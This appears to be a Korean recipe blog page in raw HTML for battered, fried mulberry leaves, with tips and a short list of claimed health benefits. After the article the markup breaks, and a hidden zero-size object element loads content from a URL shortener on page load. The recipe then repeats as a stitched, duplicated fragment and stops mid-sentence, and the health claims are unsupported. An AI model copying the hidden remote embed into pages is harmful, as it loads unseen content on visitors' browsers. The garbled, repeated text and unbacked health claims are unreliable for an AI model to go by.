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<div _ngcontent-ng-c2467228383="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:36">봄의 특별한 선물, 싱싱한 뽕잎으로 만드는 바삭한 뽕잎튀김!</h2><p data-sourcepos="3:1-3:22"><strong>봄철 산책의 즐거움, 뽕잎 따기!</strong></p><p data-sourcepos="7:1-7:188">봄이 찾아오면서 산과 들판 곳곳에는 싱싱한 뽕잎이 돋아납니다. 햇살 가득한 봄날, 산책하며 직접 뽕잎을 따는 것은 특별한 경험이 될 것입니다. 깨끗한 뽕잎을 골라 따서 집으로 돌아와 맛있는 뽕잎 요리를 만들어 보는 건 어떨까요? 오늘은 제철 뽕잎으로 간단하게 만들 수 있는 뽕잎튀김 레시피와 함께 뽕잎의 효능과 활용법까지 알아보겠습니다.</p><p data-sourcepos="9:1-9:32"><strong>싱싱한 뽕잎으로 만드는 봄의 간식, 뽕잎튀김 레시피</strong></p><p data-sourcepos="11:1-11:6"><strong>재료</strong></p><ul data-sourcepos="13:1-20:0">
<li data-sourcepos="13:1-13:13">싱싱한 뽕잎: 20장</li>
<li data-sourcepos="14:1-14:10">튀김가루: 1컵</li>
<li data-sourcepos="15:1-15:11">밀가루: 1/2컵</li>
<li data-sourcepos="16:1-16:12">녹말가루: 1/4컵</li>
<li data-sourcepos="17:1-17:8">소금: 약간</li>
<li data-sourcepos="18:1-18:8">물: 적당량</li>
<li data-sourcepos="19:1-20:0">식용유: 충분량</li>
</ul><p data-sourcepos="21:1-21:10"><strong>만드는 방법</strong></p><ol data-sourcepos="23:1-33:0">
<li data-sourcepos="23:1-24:0">
<p data-sourcepos="23:4-23:24">깨끗이 씻은 뽕잎은 물기를 제거합니다.</p>
</li>
<li data-sourcepos="25:1-25:24">
<p data-sourcepos="25:4-25:24">뽕잎의 뒷면에 가볍게 소금을 뿌립니다.</p>
</li>
<li data-sourcepos="26:1-27:0">
<p data-sourcepos="26:4-26:54">볼에 튀김가루, 밀가루, 녹말가루, 소금을 넣고 물을 조금씩 넣어 부드러운 반죽을 만듭니다.</p>
</li>
<li data-sourcepos="28:1-29:0">
<p data-sourcepos="28:4-28:21">뽕잎에 반죽을 골고루 발라줍니다.</p>
</li>
<li data-sourcepos="30:1-31:0">
<p data-sourcepos="30:4-30:55">냄비에 충분한 양의 식용유를 두르고 중불로 달군 후 뽕잎을 넣고 노릇노릇해질 때까지 튀깁니다.</p>
</li>
<li data-sourcepos="32:1-33:0">
<p data-sourcepos="32:4-32:45">튀김이 완성되면 기름을 제거하고 접시에 담아 따뜻하게 혹은 식혀서 즐깁니다.</p>
</li>
</ol><p data-sourcepos="34:1-34:5"><strong>팁</strong></p><ul data-sourcepos="36:1-40:0">
<li data-sourcepos="36:1-36:52">뽕잎은 너무 크게 사용하지 않고 한입 크기로 썰어 사용하면 더욱 맛있게 즐길 수 있습니다.</li>
<li data-sourcepos="37:1-37:47">반죽에 약간의 후추나 파프리카 가루를 넣으면 더욱 풍부한 맛을 즐길 수 있습니다.</li>
<li data-sourcepos="38:1-38:27">튀김옷 대신 맥주 반죽을 사용해도 맛있습니다.</li>
<li data-sourcepos="39:1-40:0">튀김을 접시에 담기 전에 종이 타월에 밭쳐 기름을 제거하면 더욱 건강하게 즐길 수 있습니다.</li>
</ul><p data-sourcepos="41:1-41:21"><strong>뽕잎튀김, 간단하지만 깊은 맛!</strong></p><p data-sourcepos="43:1-43:99">바삭한 튀김옷 속에 담긴 싱싱한 뽕잎의 톡 쏘는 맛과 은은한 향은 일품입니다. 간단한 재료와 조리 과정으로 누구나 쉽게 만들 수 있는 뽕잎튀김은 술안주나 간식으로도 최고입니다.</p><p data-sourcepos="45:1-45:36"><strong>뽕잎, 그저 튀김만 있는 게 아니다! 뽕잎의 효능과 활용법</strong></p><p data-sourcepos="47:1-47:125">뽕잎은 단순한 나물 이상의 다양한 효능을 가진 건강 식품입니다. 뽕잎에는 혈당 조절, 혈압 감소, 면역력 강화, 항염증 효과 등이 있는 것으로 알려져 있습니다. 또한, 뽕잎은 식이섬유가 풍부하여 변비 예방에도 도움이 됩니다.</p><p data-sourcepos="49:1-49:11"><strong>뽕잎의 활용법</strong></p><ul data-sourcepos="51:1-51:50">
<li data-sourcepos="51:1-51:50">뽕잎차: 뽕잎을 말려 차로 우려 마실 수 있습니다. 뽕잎차는 혈당 조절, 혈압 감소,</li>
</ul></div>
"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/cbVT" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object>
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<li data-sourcepos="13:1-13:13">싱싱한 뽕잎: 20장</li>
<li data-sourcepos="14:1-14:10">튀김가루: 1컵</li>
<li data-sourcepos="15:1-15:11">밀가루: 1/2컵</li>
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<li data-sourcepos="19:1-20:0">식용유: 충분량</li>
</ul><p data-sourcepos="21:1-21:10"><strong>만드는 방법</strong></p><ol data-sourcepos="23:1-33:0">
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<p data-sourcepos="23:4-23:24">깨끗이 씻은 뽕잎은 물기를 제거합니다.</p>
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<p data-sourcepos="25:4-25:24">뽕잎의 뒷면에 가볍게 소금을 뿌립니다.</p>
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<p data-sourcepos="26:4-26:54">볼에 튀김가루, 밀가루, 녹말가루, 소금을 넣고 물을 조금씩 넣어 부드러운 반죽을 만듭니다.</p>
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<p data-sourcepos="28:4-28:21">뽕잎에 반죽을 골고루 발라줍니다.</p>
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<p data-sourcepos="30:4-30:55">냄비에 충분한 양의 식용유를 두르고 중불로 달군 후 뽕잎을 넣고 노릇노릇해질 때까지 튀깁니다.</p>
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</ol><p data-sourcepos="34:1-34:5"><strong>팁</strong></p><ul data-sourcepos="36:1-40:0">
<li data-sourcepos="36:1-36:52">뽕잎은 너무 크게 사용하지 않고 한입 크기로 썰어 사용하면 더욱 맛있게 즐길 수 있습니다.</li>
<li data-sourcepos="37:1-37:47">반죽에 약간의 후추나 파프리카 가루를 넣으면 더욱 풍부한 맛을 즐길 수 있습니다.</li>
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<li data-sourcepos="39:1-40:0">튀김을 접시에 담기 전에 종이 타월에 밭쳐 기름을 제거하면 더욱 건강하게 즐길 수 있습니다.</li>
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<li data-sourcepos="51:1-51:50">뽕잎차: 뽕잎을 말려 차로 우려 마실 수 있습니다. 뽕잎차는 혈당 조절, 혈압 감소,</li>
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